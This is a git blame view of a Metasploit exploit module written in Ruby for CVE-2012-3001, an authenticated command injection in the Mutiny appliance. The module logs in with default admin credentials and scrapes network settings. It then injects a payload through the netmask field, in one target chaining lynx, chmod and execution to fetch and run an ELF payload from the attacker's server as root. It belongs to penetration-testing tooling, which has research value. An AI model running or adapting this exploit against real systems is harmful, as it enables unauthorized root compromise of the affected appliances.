Files
metasploit-gs/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

262 lines
8.7 KiB
Ruby
Raw Normal View History

2013-03-07 14:23:13 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-07 14:23:13 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-03-07 14:23:13 +01:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
include Msf::Exploit::Remote::HttpClient
2013-03-07 19:12:25 +01:00
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Mutiny Remote Command Execution',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in the
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
the vulnerability the mutiny user must have access to the admin interface. The
injected commands are executed with root privileges. This module has been tested
successfully on Mutiny 4.2-1.05.
},
'Author' =>
[
'Christopher Campbell', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-3001'],
['OSVDB', '86570'],
2013-03-07 14:23:13 +01:00
['BID', '56165'],
['US-CERT-VU', '841851'],
['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
],
'Privileged' => true,
'Platform' => %w{ linux unix },
2013-03-07 14:23:13 +01:00
'Payload' =>
{
'DisableNops' => true,
2013-03-07 19:12:25 +01:00
'Space' => 4000
},
'Targets' =>
[
[ 'Unix CMD',
2013-03-07 14:23:13 +01:00
{
2013-03-07 19:12:25 +01:00
'Arch' => ARCH_CMD,
'Platform' => 'unix',
#'Payload' =>
# {
# 'Compat' =>
# {
# 'PayloadType' => 'cmd',
# 'RequiredCmd' => 'python'
# }
# },
2013-03-07 14:23:13 +01:00
}
2013-03-07 19:12:25 +01:00
],
[ 'Linux Payload',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-10-22',
2013-03-07 19:12:25 +01:00
'DefaultTarget' => 1))
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
])
self.needs_cleanup = true
2013-03-07 14:23:13 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
def lookup_lhost()
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address('50.50.50.50')
else
datastore['SRVHOST']
end
end
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
def on_new_session(session)
2013-03-07 19:12:25 +01:00
cmds = []
2013-03-07 14:23:13 +01:00
cmds = [
%Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
%Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|,
%Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
%Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|,
%Q|mv -f ifcfg-eth0.bak ifcfg-eth0|,
%Q|/etc/init.d/network restart|
2018-12-11 10:16:16 -06:00
] if @netmask_eth0
2013-03-07 19:12:25 +01:00
cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Restoring Network Information and Cleanup...")
2013-03-07 19:12:25 +01:00
begin
session.shell_command_token(cmds.join(" ; "))
rescue
2016-02-01 15:12:03 -06:00
print_error("Automatic restore and cleanup didn't work, please use these commands:")
2013-03-07 19:12:25 +01:00
cmds.each { |cmd|
print_warning(cmd)
}
end
2016-02-01 15:12:03 -06:00
print_good("Restoring and Cleanup successful")
2013-03-07 19:12:25 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
def start_web_service
2016-02-01 15:12:03 -06:00
print_status("Setting up the Web Service...")
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
resource_uri = '/' + @elfname + '.elf'
service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Starting up our web service on #{service_url} ...")
2013-03-07 19:12:25 +01:00
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
return service_url
end
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
# wait for the data to be sent
def wait_linux_payload
2016-02-01 15:12:03 -06:00
print_status("Waiting for the victim to request the ELF payload...")
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
2013-03-07 19:12:25 +01:00
end
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
#print_status("Giving time to the payload to execute...")
2013-03-07 19:12:25 +01:00
#select(nil, nil, nil, 20) unless session_created?
end
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
# Handle incoming requests from the target
def on_request_uri(cli, request)
2016-02-01 15:12:03 -06:00
vprint_status("on_request_uri called, #{request} requested")
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
if (not @elf_data)
2016-02-01 15:12:03 -06:00
print_error("A request came in, but the ELF archive wasn't ready yet!")
2013-03-07 19:12:25 +01:00
return
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_good("Sending the ELF payload to the target...")
2013-03-07 19:12:25 +01:00
@elf_sent = true
send_response(cli, @elf_data)
2013-03-07 14:23:13 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'logon.jsp'),
})
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
if res and res.body =~ /: Mutiny : Login @ mutiny/
return Exploit::CheckCode::Detected
end
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
def exploit
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Login with the provided credentials...")
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logon.do'),
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
2013-08-30 16:28:54 -05:00
2014-05-13 22:56:12 +02:00
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/
2017-07-19 12:48:52 +01:00
print_good("Login Successful")
2013-03-07 14:23:13 +01:00
session = $1
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
2013-03-07 14:23:13 +01:00
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Leaking current Network Information...")
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
'cookie' => "JSESSIONID=#{session}",
})
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
2019-10-05 14:22:18 -04:00
address_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "")
2013-03-07 14:23:13 +01:00
@netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "")
gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "")
dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "")
static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "")
static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "")
static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "")
2016-02-01 15:12:03 -06:00
print_good("Information leaked successfully")
2013-03-07 14:23:13 +01:00
else
2016-02-01 15:12:03 -06:00
print_error("Error leaking information, trying to exploit with random values")
2013-03-07 14:23:13 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
if target.name =~ /CMD/
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
injection << "; #{payload.encoded}"
else
2016-02-01 15:12:03 -06:00
print_status("Generating the ELF Payload...")
2013-03-07 19:12:25 +01:00
@elf_data = generate_payload_exe
@elfname = Rex::Text.rand_text_alpha(3+rand(3))
service_url = start_web_service
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf"
injection << "; chmod +x /tmp/#{@elfname}.elf"
injection << "; /tmp/#{@elfname}.elf"
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Exploiting Command Injection...")
2013-08-30 16:28:54 -05:00
2013-03-07 14:23:13 +01:00
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
'cookie' => "JSESSIONID=#{session}",
'vars_post' =>
{
2019-10-05 14:22:18 -04:00
"addresseth0" => address_eth0 || rand_text_alpha(5 + rand(3)),
2013-03-07 14:23:13 +01:00
"netmasketh0" => injection,
"Gateway" => gateway || rand_text_alpha(5 + rand(3)),
"dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)),
"staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)),
"staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
"staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
}
2013-03-07 19:12:25 +01:00
}, 1)
2013-08-30 16:28:54 -05:00
2013-03-07 19:12:25 +01:00
if target.name =~ /Linux Payload/
wait_linux_payload
end
2013-03-07 14:23:13 +01:00
end
2013-03-07 19:12:25 +01:00
2013-03-07 14:23:13 +01:00
end